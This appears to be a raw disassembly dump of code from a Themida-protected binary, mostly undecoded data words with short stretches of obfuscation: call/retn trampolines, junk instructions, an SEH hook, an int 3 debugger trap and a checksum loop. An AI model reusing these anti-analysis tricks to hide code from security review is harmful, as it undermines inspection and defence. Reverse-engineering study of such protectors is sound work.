		dd 0FFB70F15h, 2015BD83h, 0F0107E4h, 5E85h, 4D950100h
		dd 2907E41Dh, 0E4264DBDh, 66026A07h, 0A169C381h, 7E890h
		dd 219A0000h, 494357C0h, 0B519BB9Fh, 505F236Ah,	6A90DA8Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 66FEC353h, 0CF555421h, 0AD95FFF1h, 0F07E431h
		dd 68Dh, 0A19D8B00h, 0E907E40Fh, 0D82h,	0E8h, 0ED815D00h
		dd 7E9303Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0EAC35747h, 0C99D8B7Dh,	8B07E422h, 0E42ED9BDh
		dd 0E1858D07h, 0E907E7C6h, 10h,	0AEC082F0h, 60B7341Fh
		dd 64196BF6h, 31A8ECABh, 14E86050h, 0E5000000h,	0C70BA7BFh
		dd 1F80EA18h, 0B24BADD6h, 0FCA89146h, 66524B0Dh, 0E858D18Bh
		dd 0Ch,	84C168BDh, 9F4E8DE6h, 9B7CAFE5h, 6158B6B2h, 31240489h
		dd 0E425899Dh, 35FF6407h, 0
; ---------------------------------------------------------------------------
		add	[ebp+7E427B1h],	edi
		mov	large fs:0, esp
		jmp	loc_5D557A
; ---------------------------------------------------------------------------
		dw 0CD06h
		dd 47105587h, 3AE37819h, 0AD59BB3Dh, 0CCA54284h
		db 6Eh,	94h
; ---------------------------------------------------------------------------


loc_5D557A:				; CODE XREF: Themida_:005D5561j
		inc	dword ptr [ebp+7E420B9h]
		push	0
		push	ecx
		call	sub_5D558B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D558B	proc near		; CODE XREF: Themida_:005D5583p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5D558B	endp

; ---------------------------------------------------------------------------
		mov	edi, 85250FEFh
		pop	eax
		mov	bl, 0E7h
		add	al, 2
		mov	ebx, eax


loc_5D55A7:				; CODE XREF: Themida_:005D61EAj
		push	0FFFFFFFFh
		js	loc_5D55BB
		jnb	loc_5D55BB
		mov	ebx, [ebp+7E4224Dh]


loc_5D55BB:				; CODE XREF: Themida_:005D55A9j
					; Themida_:005D55AFj
		push	dword ptr [ebp+7E42291h]
		push	0
		push	ebx
		call	sub_5D55CC
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D55CC	proc near		; CODE XREF: Themida_:005D55C4p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5D55CC	endp

; ---------------------------------------------------------------------------
		test	eax, 0B7E235E4h
		int	3		; Trap to Debugger
		call	dword ptr [ebp+7E4304Dh]
		jmp	loc_5D5706
; ---------------------------------------------------------------------------
		db 8Bh,	9Dh, 9
		dd 0B007E416h, 4DB58900h, 0F07E415h, 70E6F9BFh,	23899D23h
		dd 71E407E4h, 613CD88Bh, 0F4830Fh, 0BD8B0000h, 7E42349h
		dd 6830Fh, 9D890000h, 7E407ADh,	60C8B60Fh, 7CD858Bh, 5E907E4h
		dd 0CE000000h, 39130CDBh, 6BA61h, 0FE8B0000h, 8589C18Bh
		dd 7E4163Dh, 6604E8C1h,	971CDB81h, 2BE2F766h, 9D8957C8h
		dd 7E42DF1h, 89D18B5Bh,	0E42B999Dh, 9CE907h, 89510000h
		dd 0E412C1B5h, 858B5F07h, 5F4C4C44h, 6D5BD0Bh, 816607E4h
		dd 8329E2DFh, 816607C0h, 0BF5460F3h, 79059557h,	6600C083h
		dd 208CB81h, 830FD03Bh,	1Bh, 0E9FABF0Fh, 5Eh, 7E8h, 0BC13E100h
		dd 938F1667h, 186D9D09h, 8B5F07E4h, 0FFFFFF8Dh,	13E9FFh
		dd 0E17A0000h, 1A1279DBh, 955FADE2h, 6ACD3BC0h,	0E3DF2D14h
		dd 1E18353h, 24840Fh, 9D890000h, 7E42D89h, 0FFFFA583h
		dd 23FEFFFFh, 0E418A99Dh, 44958907h, 8B5F4C4Ch,	0E40345BDh
		dd 0E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D5706:				; CODE XREF: Themida_:005D55E8j
		lea	esi, [ebp+7E8A95Ah]
		push	0
		push	ebp
		call	sub_5D5717
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5717	proc near		; CODE XREF: Themida_:005D570Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5D5717	endp

; ---------------------------------------------------------------------------
		cmp	[eax+42h], edx
		push	edi
		jmp	loc_5D5742
; ---------------------------------------------------------------------------
		push	ss
		xchg	eax, ebp
		inc	ecx
		push	ds
		db	36h
		push	ebx
		and	[ebx-7C5D66B1h], cl
		add	dl, [ebx-6858E41Bh]


loc_5D5742:				; CODE XREF: Themida_:005D572Bj
		pop	ebx
		push	0
		mov	edi, [ebp+7E42DC5h]
		call	dword ptr [ebp+7E40E41h]
		push	edi
		mov	[ebp+7E4185Dh],	esi
		pop	ebx
		mov	ecx, 0FA5h
		push	esi
		mov	ebx, [ebp+7E40D89h]
		pop	edi
		and	ecx, 0FFFFFFFCh
		cld
		push	0
		push	ebx
		call	sub_5D5775
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5775	proc near		; CODE XREF: Themida_:005D576Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5D5775	endp

; ---------------------------------------------------------------------------
		adc	eax, 5798EF80h
		mov	[ebp+7E42C65h],	eax
		pop	edi
		mov	eax, 0
		push	0
		push	eax
		call	sub_5D57A1
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D57A1	proc near		; CODE XREF: Themida_:005D5799p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5D57A1	endp

; ---------------------------------------------------------------------------
		db 0EFh, 21h, 83h
		dd 0EE98Bh, 3D680000h, 6447F591h, 8338109h, 0AAEABA00h
		dd 8B66D22Bh, 0C233ADF9h, 0D003E8D1h, 7504E983h, 52006AF4h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 341B3413h, 0FF75E063h, 6A76B7h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0A54AE9C3h, 3D291DC4h
		dd 880D4168h, 0B3000000h, 71958B5Ah, 8B07E41Bh,	0E42DA18Dh
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 71BDD6AFh, 0F688E060h, 8A530FC3h, 870F5BDAh
		dd 3, 5013CB80h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h
		dd 318D2958h, 6A07E414h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 8A15C355h, 83D1BE30h
		dd 0E40611BDh, 840F0007h, 61h, 7DD78166h, 0B877h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0F3992EC3h, 8D492FCFh, 0E44FE78Dh, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0D0F9B697h, 23F330F5h, 0E41DDDBDh, 8BE1FF07h, 0E42679BDh
		dd 0B9BD8307h, 7E422h, 4AB840Fh, 0BD830000h, 7E422B9h
		dd 0B9840F01h, 83000004h, 0E422B9BDh, 860F0307h, 476h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D9C35141h
		dd 0D59723A0h, 1AB9BD01h, 8D0F07E4h, 16h, 0AE8h, 49069300h
		dd 0F7E0D5E4h, 0FF7FD25h, 87h, 6A605B00h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0ACC6C353h
		dd 54464F12h, 662B1750h, 5578DF81h, 6AD98C66h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0EE3EC357h, 55BF66C4h, 4E18007h, 8E8h, 0B0F9D600h, 12F6C979h
		dd 0C98D31C1h, 5F07E40Dh, 840FC90Ah, 1E0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0CFC35545h, 9382B582h
		dd 77FC6A65h, 128D0Fh, 0E9600000h, 5, 740B0635h, 890F0Ah
		dd 61000000h, 651858Bh,	6A07E4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0D3EA1DC3h, 8B22B3A5h
		dd 0E4025DBDh, 29853307h, 6A07E420h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0BBFCC355h
		dd 2F8EC20Eh, 0C143BB90h, 50506120h, 0F525051h,	5F585A31h
		dd 6A905Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 947720C3h, 4C7DE24Ah, 815CBF14h, 0F9644DDFh
		dd 6A006A63h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 2F1C350h, 0DE9A5A9h, 0D1000000h
		dd 2E05A293h, 0A109449Bh, 98B052E7h, 4E8h, 1F03FF00h, 0D88B6600h
		dd 0EE950h, 75E30000h, 45B81A70h, 10C97BD4h, 58353A2Bh
		dd 424448Bh, 6569BB66h,	5F53008Bh, 4244489h, 0E8DF8B60h
		dd 11h,	82A2BEE3h, 322CA78Ah, 0CC7AEBC3h, 0F2358D5h, 12E909h
		dd 972F0000h, 6BC56701h, 6F160786h, 0EBB7A50Fh,	1D0FD75Eh
		dd 6A586158h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 9553C357h, 4834821Ch, 76BBB462h
		dd 1F59D89h, 95FF07E4h,	7E42D99h, 1FFD8D09h, 8E0F07E4h
		dd 1, 0A58589F5h, 6A07E7F8h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 3AD8C352h, 7A235A4h
		dd 99D9D29h, 816007E4h,	0E071BED0h, 72E96165h, 57000001h
		dd 5BD98B66h, 0F89D858Bh, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 8B80E7C3h, 0E415BD9Dh
		dd 1800C707h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 670EC350h, 31EC7788h
		dd 0E41B899Dh, 0A1B58B07h, 8B07E7F8h, 1991BFFBh, 858B514Eh
		dd 7E40099h, 1A8D0FF5h,	0E8000000h, 0Eh, 32CEE992h, 0FA121DDh
		dd 803EBE47h, 8501B723h, 7E40085h, 6A06895Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 1FC1C355h, 832AD321h, 858B074Ah, 7E40651h, 89FABF0Fh
		dd 50960446h, 0BB665651h, 5B5FD1DFh, 5E996h, 26D90000h
		dd 0FF339C73h, 0E7F89DB5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 400CDABEh
		dd 0A2445E86h, 0BE95400h, 3F000000h, 0F8748110h, 7C8FB9E6h
		dd 286887FBh, 0BF109D65h, 5F4A2D15h, 0D7243481h, 0F108266h
		dd 589h, 3AA4BF00h, 858D7A48h, 7E7F8A5h, 50F88B90h, 6A90D98Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 21CAC353h, 95FF3310h, 7E42D99h, 10E9h, 9D926500h
		dd 6290A168h, 1DE411ECh, 20060809h, 9D8B6184h, 7E431E9h
		dd 22B985C7h, 307E4h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0B92CC4C3h, 4391C9BFh
		dd 83E6B346h, 0E7F8A5BDh, 840F0007h, 36h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 0C0C35141h, 0FB94F673h
		dd 0BC477DBFh, 0D9BD8B5Bh, 0E907E41Dh, 21h, 1A6DB589h
		dd 305007E4h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 0FF88BC0h, 1782h,	11890F00h, 0E9000000h
		dd 0Ch,	424D3A13h, 0EFCE7C54h, 10EA88A4h, 9E9h,	0F128DE00h
		dd 9B408D7h, 0BD83FDB1h, 7E422B9h, 0B3850F03h, 6A000003h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0A26AC356h, 0CB1D1EB6h, 8B53CE13h, 0BD835BDFh
		dd 7E7F8A5h, 7F840F00h,	6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 8C5BC351h
		dd 0F3D29A5Dh, 14E97DDEh, 1B000000h, 0DCF92AE1h, 939133D8h
		dd 27789D62h, 8D7B58BDh, 0FF1AFB11h, 0E7F8A5B5h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0A4411B4Fh, 8B66D4EAh, 4D95FFDAh, 8B07E404h,	0E7F899B5h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 61755AE6h, 3B13E632h, 85314996h,	7E41F49h
		dd 106C7h, 6A0001h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0A7BD84C3h, 0BB661819h, 669615C7h
		dd 50C2D8BFh, 0D6EF8196h, 666B35A5h, 5317DF81h,	0F8A5B5FFh
		dd 816607E7h, 0FF364ADBh, 0E42A0995h, 8BF98B07h, 0E7F899B5h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0E16F68EBh, 0BC2E8C36h, 3771BF66h, 3165858Bh
		dd 89FC07E4h, 0C486h, 0AD9D8900h, 8B07E405h, 0E41B7195h
		dd 1D890F07h, 0F000000h, 178Ah,	12E900h, 63DF0000h, 0C193FE1Dh
		dd 574B303Dh, 4CA8C124h, 43F36D51h, 8904C283h, 6A2050h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0DE3673C3h, 9A1F944Ah, 0CD4858Dh, 0F78107E8h, 2D74FF29h
		dd 0B88689h, 0B70F0000h, 6A006ADFh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89E8C352h
		dd 0E41C1DBDh, 0A5B5FF07h, 0E907E7F8h, 0Ah, 7BC33F5h, 0B9E1A83Ch
		dd 95FF1480h, 7E431ADh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0E1C35343h, 6840Fh, 8D090000h, 7E424E1h
		dd 1FF9BD89h, 0F5007E4h, 0B81h,	6E900h,	47960000h, 0D0F7A54Fh
		dd 31243489h, 0E431B195h, 14E95307h, 0DD000000h, 4D70DE3Ch
		dd 4D371E90h, 0A7C15D7Dh, 308C602Dh, 5FC60CC0h,	0F8A5B5FFh
		dd 95FF07E7h, 7E41B11h,	83F98B66h, 0E40DF9BDh, 840F0007h
		dd 49h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h
		dd 5C35242h, 302644D2h,	19850Fh, 14E90000h, 7F000000h
		dd 0DD9A16C8h, 5E332F59h, 0F109F4EFh, 84D245C6h, 9618DC39h
		dd 8FBB6650h, 0F95696E1h, 0A5B5FF5Bh, 6A07E7F8h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0FFFAC355h, 0E4027D95h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 39B54323h
		dd 7F84B43h, 0F9BD31E8h, 0FF07E41Dh, 0E7F8A5B5h, 8890F07h
		dd 56000000h, 830Fh, 0FF5B0000h, 0E4097195h, 6C5ABF07h
		dd 0B5892C81h, 7E42239h, 0A21BD83h, 0F0207E4h, 5184h, 0A98D0100h
		dd 8B07E405h, 0E41EB585h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 13E839E3h
		dd 0DC000000h, 1021CA87h, 0BA936933h, 18FB1F3Bh, 0AA6B09BEh
		dd 8D899E3Ah, 7E406A1h,	0C65Bh,	6319589h, 85C707E4h, 7E42671h
		dd 0
; ---------------------------------------------------------------------------
		sub	[ebp+7E40691h],	ebx
		jmp	loc_5D55A7
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5D61FA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D61FA	proc near		; CODE XREF: Themida_:005D61F2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5D61FA	endp

; ---------------------------------------------------------------------------
		dw 0D089h
		dd 75F652A5h, 0FE9h, 79803400h,	796A9079h, 77BAD763h, 0B2D9A4AEh
		dd 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 858D3AC3h, 7E40D85h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0CCC35242h,	8AA3AF12h, 0BB66505Eh
		dd 489A14Bh, 51006A24h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 6AB306h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 16C35646h, 0EB53CF47h, 3006AAAh
		dd 0E41FBD9Dh, 0D3858D07h, 6A07E93Fh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0D0F4C352h
		dd 0C176F426h, 6DBD8B8Ah, 8307E421h, 526005C0h,	615B03B5h
		dd 0F343BB90h, 90507B8Fh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0BC35040h, 0C7816677h, 9D8B0FEFh, 7E40EF1h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0F2E6B3C3h, 8BC56DFBh, 0E40D699Dh, 6A006A07h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 514EC350h, 399D01F8h, 0FF07E401h,	0E4247195h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 8D8D3115h, 7E7D64Bh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 63C35646h, 6A1DF768h, 0B3DE9184h
		dd 1B999D89h, 0D1FF07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 62C35747h, 638C019Ah,	26E9B589h, 0BF6607E4h
		dd 0BD83C4D2h, 7E42015h, 63850F01h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 7DA0C355h, 0F9B9D8B2h, 0DA8ADE8Bh, 9D03026Ah, 7E40F7Dh
		dd 89DE8A50h, 0BD8B2404h, 7E40E69h, 31AD95FFh, 6A07E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 8060ABC3h, 0C48036CCh, 29E96199h, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7E93FDDh
		sbb	edi, 3626A145h
		or	ebx, [ebp+7E42A95h]
		lea	eax, [ebp+7E7C6E1h]
		jmp	loc_5D648E
; ---------------------------------------------------------------------------
		dw 489Ah
		dd 0B964B798h
		db 0ADh, 0E4h
; ---------------------------------------------------------------------------


loc_5D648E:				; CODE XREF: Themida_:005D6481j
		nop
		jmp	loc_5D64A0
; ---------------------------------------------------------------------------
		dd 0AF7510D3h, 0C93A870Ch, 20F2BDB1h
; ---------------------------------------------------------------------------


loc_5D64A0:				; CODE XREF: Themida_:005D648Fj
		push	eax
		pusha
		mov	di, bx
		mov	eax, 571E074Ah
		popa
		nop
		push	0
		push	ecx
		call	sub_5D64B7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D64B7	proc near		; CODE XREF: Themida_:005D64AFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5D64B7	endp

; ---------------------------------------------------------------------------
		db 0B3h
		dd 603A8CE2h, 64ACFBD3h, 35FFh,	64F90000h, 2589h, 8D890000h
		dd 7E425E9h, 2F95B589h,	85FF07E4h, 7E420B9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0C2C35343h, 0EFA82AD6h
		dd 6195899Eh, 6A07E41Ch, 0E9BD8BFFh, 0FF07E41Fh, 0E41D5DB5h
		dd 35BD8B07h, 0FF07E400h, 0E4304D95h, 131E907h,	0BD8B0000h
		dd 7E4185Dh, 8B6600B0h,	0E970E6DAh, 9, 6AAD0FE7h, 10238B74h
		dd 8971E425h, 0E42A0595h, 0F613C07h, 10683h, 0DE900h, 0BE9B0000h
		dd 78F4402Ah, 4322EE34h, 9A722AAh, 0E401F59Dh, 0C8B60F07h
		dd 0E4DB589h, 0BAF907E4h, 6, 6E9h, 0BEF7F300h, 8B3244EEh
		dd 0E8CF80C1h, 0E904E8C1h, 9, 0A33BEE3Fh, 20698E36h, 0E2F766C1h
		dd 0C82B5F50h, 890Fh, 0CB30000h, 11E9D18Bh, 52000000h
		dd 17FEB9C7h, 43F847F9h, 98C174B8h, 92FA3006h, 92E9h, 0DE8B6600h
		dd 4C50858Bh, 8B664755h, 7C083FAh, 0D880Fh, 89600000h
		dd 0E401F585h, 0AD4BBB07h, 96145FDh, 0E420E9B5h, 0C08307h
		dd 2FDDBD89h, 0D03B07E4h, 16830Fh, 9D8B0000h, 7E403B1h
		dd 1A4DB589h, 48E907E4h, 66000000h, 0DE60F381h,	0FFFF8D8Bh
		dd 0BE9FFFFh, 0B6000000h, 0EDCC923Ah, 0A3F3071h, 85896A83h
		dd 7E431CDh, 0F01E183h,	1E84h, 0FFA58300h, 0FEFFFFFFh
		dd 66FAB70Fh, 0AF82EF81h, 4C509589h, 0BF664755h, 0E92137h
		dd 8D000000h, 0E8B8FFB5h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 33562A1Ch
		dd 5EE37C57h, 9D8BE41Fh, 7E41F49h, 0BB66F98Bh, 6AA735h
		dd 0F5FA8B66h, 0E4195FFh, 6A07E4h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0BDA5FDC3h, 0B7E7805Eh
		dd 0EE9h, 2D486500h, 50B09A8Bh,	345F8673h, 0B993F877h
		dd 1015h, 138A0Fh, 840F0000h, 0Dh, 8E9h, 373F5300h, 8DEAEF34h
		dd 0DA8B660Ah, 6AFCE183h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0FBBDC352h,	0DC24C466h
		dd 0FC188F95h, 0CE9h, 41127600h, 23A6FBFDh, 585CC37Dh
		dd 6AFC80h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0C1AC3h, 74CD759Eh, 9D8B3904h, 7E41CA9h
		dd 68F0Fh, 8D310000h, 7E42D95h,	0B8h, 90BF6600h, 0AE8E4h
		dd 57260000h, 0FAD10159h, 680B3A39h, 165D9D2Bh,	0BA5F07E4h
		dd 0
; ---------------------------------------------------------------------------
		cmc


loc_5D6795:				; CODE XREF: Themida_:005D679Fj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D6795
		add	[ebp+7E43149h],	ebx
		mov	di, ax
		or	eax, 88h
		or	bx, 4639h
		mov	edx, [ebp+7E41B71h]
		push	0
		push	edx
		call	sub_5D67C5
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D67C5	proc near		; CODE XREF: Themida_:005D67BDp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5D67C5	endp

; ---------------------------------------------------------------------------
		db 5Eh,	9Dh, 8Bh
		dd 0E422459Dh, 0A18D8B07h, 0F07E42Dh, 68Ah, 0BD9D8900h
		dd 5007E42Eh, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 0F3F78158h, 0F6584A4h, 0BD83DFB7h, 7E40611h,	93840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 897AC351h, 0E42D3595h,	0B807h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 6E9FF1C3h, 7DED20A5h, 9D8B26BDh, 7E41A11h
		dd 8618BF66h, 4FE78D8Dh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0BEB361C3h, 0E09FA3F2h
		dd 0B5894BD1h, 7E40921h, 9D8BE1FFh, 7E405BDh, 27019D23h
		dd 0BD8307E4h, 7E422B9h, 7C840F00h, 23000004h, 0E41E759Dh
		dd 0B9BD8307h, 107E422h, 484840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 19E7AEC3h
		dd 6D9F46D8h, 11E8h, 6C0B1E00h,	0E7C8A63Eh, 0A6D9C003h
		dd 31F21421h, 820FE047h, 6, 8F7E381h, 665B45E3h, 0BD83DE8Bh
		dd 7E422B9h, 0F9860F03h, 6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 9C6CC351h
		dd 839E26FAh, 33683F5Eh, 11E8h,	0BDA48200h, 8C981707h
		dd 65169DC8h, 7C5A27BFh, 895F7994h, 0E40A1995h,	6A6007h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 14893FC3h, 662D6B5Ah, 0BF0FD98Ch, 4E180F9h, 3559BD8Bh
		dd 0C90A07E4h, 133840Fh, 8B660000h, 51858BFAh, 0F07E406h
		dd 0A81h, 8D8B6000h, 7E413A9h, 3361D88Bh, 0E4202985h, 0FDB50907h
		dd 9007E400h, 0AB11BF66h, 0A5BB6650h, 6A9057h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 59FB0EC3h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0B5B065C3h, 1AC02E28h, 0E85F5028h
		dd 4, 1F03FFh, 9E850h, 8F550000h, 78D56CD8h, 0E9C2182Fh
		dd 5, 4A351AAh,	448B5FBEh, 50530424h, 13E952h, 466E0000h
		dd 3AD65245h, 957C9132h, 42E87F2Fh, 0EB669821h,	0E8310FFFh
		dd 8, 7A625EFCh, 145F26FDh, 5B585A5Bh, 4489008Bh, 0FF580424h
		dd 0E42D9995h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 785661F1h, 7E4054B6h
		dd 7D8D890Ah, 8B07E419h, 0E401399Dh, 0A5858907h, 0B307E7F8h
		dd 20AE937h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 5E0C38C3h, 9D858B32h, 6A07E7F8h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B39C352h, 0E416B59Dh, 0B0BB6607h, 1800C726h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 4D45C350h, 23CF8166h, 0A1B58BC3h
		dd 0E807E7F8h, 11h, 0A1FC9C2Eh,	0E779765Ch, 55BC293Ah
		dd 0E7E20447h, 68B0FDDh, 9000000h, 0E41EB995h, 0F3815B07h
		dd 62BCECC4h, 99858Bh, 9D2907E4h, 7E4249Dh, 0BD8B0689h
		dd 7E41925h, 651858Bh, 6A07E4h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 7A1F34C3h, 0A8839088h
		dd 0BBBD750Eh, 1784ED17h, 6A044689h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0AD9BC356h
		dd 29BBED7Eh, 0BD8B64B3h, 7E40E11h, 0DE996h, 0A3FB0000h
		dd 938AB676h, 38CF26ADh, 505B9EEEh, 10E9h, 2F7B0200h, 7F303145h
		dd 85D7E423h, 1D7A8232h, 0EB81964Fh, 36A124D4h,	0D2BCBF66h
		dd 0F89DB5FFh, 6A07E7h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0F818CC3h, 688h,	2DBD2900h, 6807E41Bh
